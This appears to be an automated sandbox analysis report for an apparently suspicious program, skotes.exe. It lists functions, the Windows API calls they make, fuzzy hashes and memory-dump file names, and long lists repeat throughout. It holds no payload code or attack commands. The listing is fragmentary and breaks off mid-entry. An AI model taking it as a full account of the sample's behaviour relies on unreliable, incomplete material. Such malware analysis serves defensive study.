Associated: 00000000.00000002.1714794271.0000000000D76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714808997.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000DC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714947535.0000000000DEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963082.0000000000DF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714976692.0000000000DF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991490.0000000000DF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005029.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715020699.0000000000E06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715033948.0000000000E07000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 9560de92614a468249d3e384dbce2a4af09bfc6a87d0391c844ce0e7f03ec74f
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 94E08C32921238EBCB14DB98E904D8AF7ECEB49B00B650096F505D3150C270DE00CBD4

Function 00B2CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00B2CC66

Memory Dump Source

Source File: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1714187226.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714200567.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714254041.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714268085.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714287404.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714378375.0000000000CBE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714393975.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714440941.0000000000CE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714454176.0000000000CEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714467867.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714480785.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714495273.0000000000CF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714508425.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714521307.0000000000CFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714534344.0000000000CFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714551759.0000000000D16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714570005.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714587777.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714602370.0000000000D46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714615365.0000000000D47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714629741.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714642512.0000000000D4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714655959.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714669017.0000000000D52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714682791.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714696959.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714712418.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714725560.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714738638.0000000000D65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714751803.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714765774.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714780261.0000000000D73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714794271.0000000000D76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714808997.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000DC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714947535.0000000000DEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963082.0000000000DF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714976692.0000000000DF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991490.0000000000DF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005029.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715020699.0000000000E06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715033948.0000000000E07000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction ID: 69b43b0b1128b619da433cef98642bcd362e34b6fdd2515ea1bcf89fff7ed09a
Opcode Fuzzy Hash: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction Fuzzy Hash: D3B126329002659FDB15DF28D8817AEBFE5EF55340F2541EAE859EB242D6349D02CB90

Function 00AF2EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00AF2F5F
__Mtx_unlock.LIBCPMT ref: 00AF2FCC
__Mtx_unlock.LIBCPMT ref: 00AF30F5
__Mtx_unlock.LIBCPMT ref: 00AF319B

Memory Dump Source

Source File: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1714187226.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714200567.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714254041.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714268085.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714287404.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714378375.0000000000CBE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714393975.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714440941.0000000000CE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714454176.0000000000CEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714467867.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714480785.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714495273.0000000000CF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714508425.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714521307.0000000000CFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714534344.0000000000CFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714551759.0000000000D16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714570005.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714587777.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714602370.0000000000D46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714615365.0000000000D47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714629741.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714642512.0000000000D4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714655959.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714669017.0000000000D52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714682791.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714696959.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714712418.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714725560.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714738638.0000000000D65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714751803.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714765774.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714780261.0000000000D73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714794271.0000000000D76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714808997.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000DC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714947535.0000000000DEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963082.0000000000DF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714976692.0000000000DF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991490.0000000000DF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005029.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715020699.0000000000E06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715033948.0000000000E07000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: d1dba4f4a5ab89340771ccfcb9c57091215b36e0ccd89bab8bcfc8ee2d16352e
Instruction ID: a063eca7e2ca198758187e04ac4434b442b737094de3fa0169d05b9040995342
Opcode Fuzzy Hash: d1dba4f4a5ab89340771ccfcb9c57091215b36e0ccd89bab8bcfc8ee2d16352e
Instruction Fuzzy Hash: 88A1C3719012099FDF20DFA4C945B6ABBF8FF15354F0482AAF915D7681EB31EA04CB91

Analysis Process: skotes.exePID: 7536, Parent PID: 7340COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	606
Total number of Limit Nodes:	4

Executed Functions

Function 0062652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0062652A,?,?,?,?,?,00627661), ref: 00626567

Memory Dump Source

Source File: 00000001.00000002.1747730608.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000001.00000002.1747632787.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1747730608.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748358899.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748494253.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748628378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749810181.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749832061.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749903209.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749925246.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749942770.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749960471.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750022406.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750109271.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750354367.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750378636.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750419129.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750638329.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750856173.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751165915.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751406455.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751820207.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752332892.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752406423.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752439672.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752487767.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752554414.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752573753.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752587620.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752652674.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753004597.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753020044.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753066654.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753083434.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097247.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753367329.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753388348.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753402766.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753446038.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753532099.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753583279.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753678193.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: e5cf48f5cf33a12dcf2aef74d5031aa0a381b256e602a63ef9aa707e9786e4bf
Instruction ID: 830094c9bc054e3f0950ca2b64541a5a394a1198fdca16d67957b115add82827
Opcode Fuzzy Hash: e5cf48f5cf33a12dcf2aef74d5031aa0a381b256e602a63ef9aa707e9786e4bf
Instruction Fuzzy Hash: 1AE0CD31040528AFDF357B19F909D9D3B5BEF51749F008804F81466225CB75ED42CF40

Function 005F9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000001.00000002.1747730608.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000001.00000002.1747632787.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1747730608.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748358899.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748494253.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748628378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749810181.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749832061.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749903209.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749925246.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749942770.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749960471.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750022406.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750109271.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750354367.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750378636.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750419129.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750638329.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750856173.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751165915.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751406455.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751820207.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752332892.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752406423.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752439672.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752487767.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752554414.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752573753.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752587620.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752652674.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753004597.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753020044.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753066654.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753083434.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097247.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753367329.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753388348.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753402766.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753446038.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753532099.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753583279.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753678193.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: e55cfbda8a5c26ec8dc68ecbb49e4ef4aa5c7de55031824d6712c687e609cc98
Instruction ID: bf967fc2c8a3ba33a83c79ff33a7b753f783d8846a223d4012e18d14ea792890
Opcode Fuzzy Hash: e55cfbda8a5c26ec8dc68ecbb49e4ef4aa5c7de55031824d6712c687e609cc98
Instruction Fuzzy Hash: 2D315B716446088BEB08DB78DD857BEBFA7FBC1310F308218E214973DAC77999808752

Function 005F9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000001.00000002.1747730608.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000001.00000002.1747632787.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1747730608.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748358899.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748494253.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748628378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749810181.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749832061.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749903209.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749925246.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749942770.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749960471.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750022406.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750109271.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750354367.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750378636.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750419129.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750638329.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750856173.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751165915.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751406455.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751820207.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752332892.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752406423.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752439672.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752487767.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752554414.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752573753.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752587620.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752652674.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753004597.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753020044.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753066654.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753083434.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097247.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753367329.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753388348.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753402766.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753446038.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753532099.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753583279.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753678193.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: efb7d1051d57d0b770ec5a607cb8fb263399a28f58163727983a31bf7f67b6b3
Instruction ID: 4ba1534fb4ed21ce3dac8f032cf5be2276ca7a8376bf776bbe6a57c69a3261ed
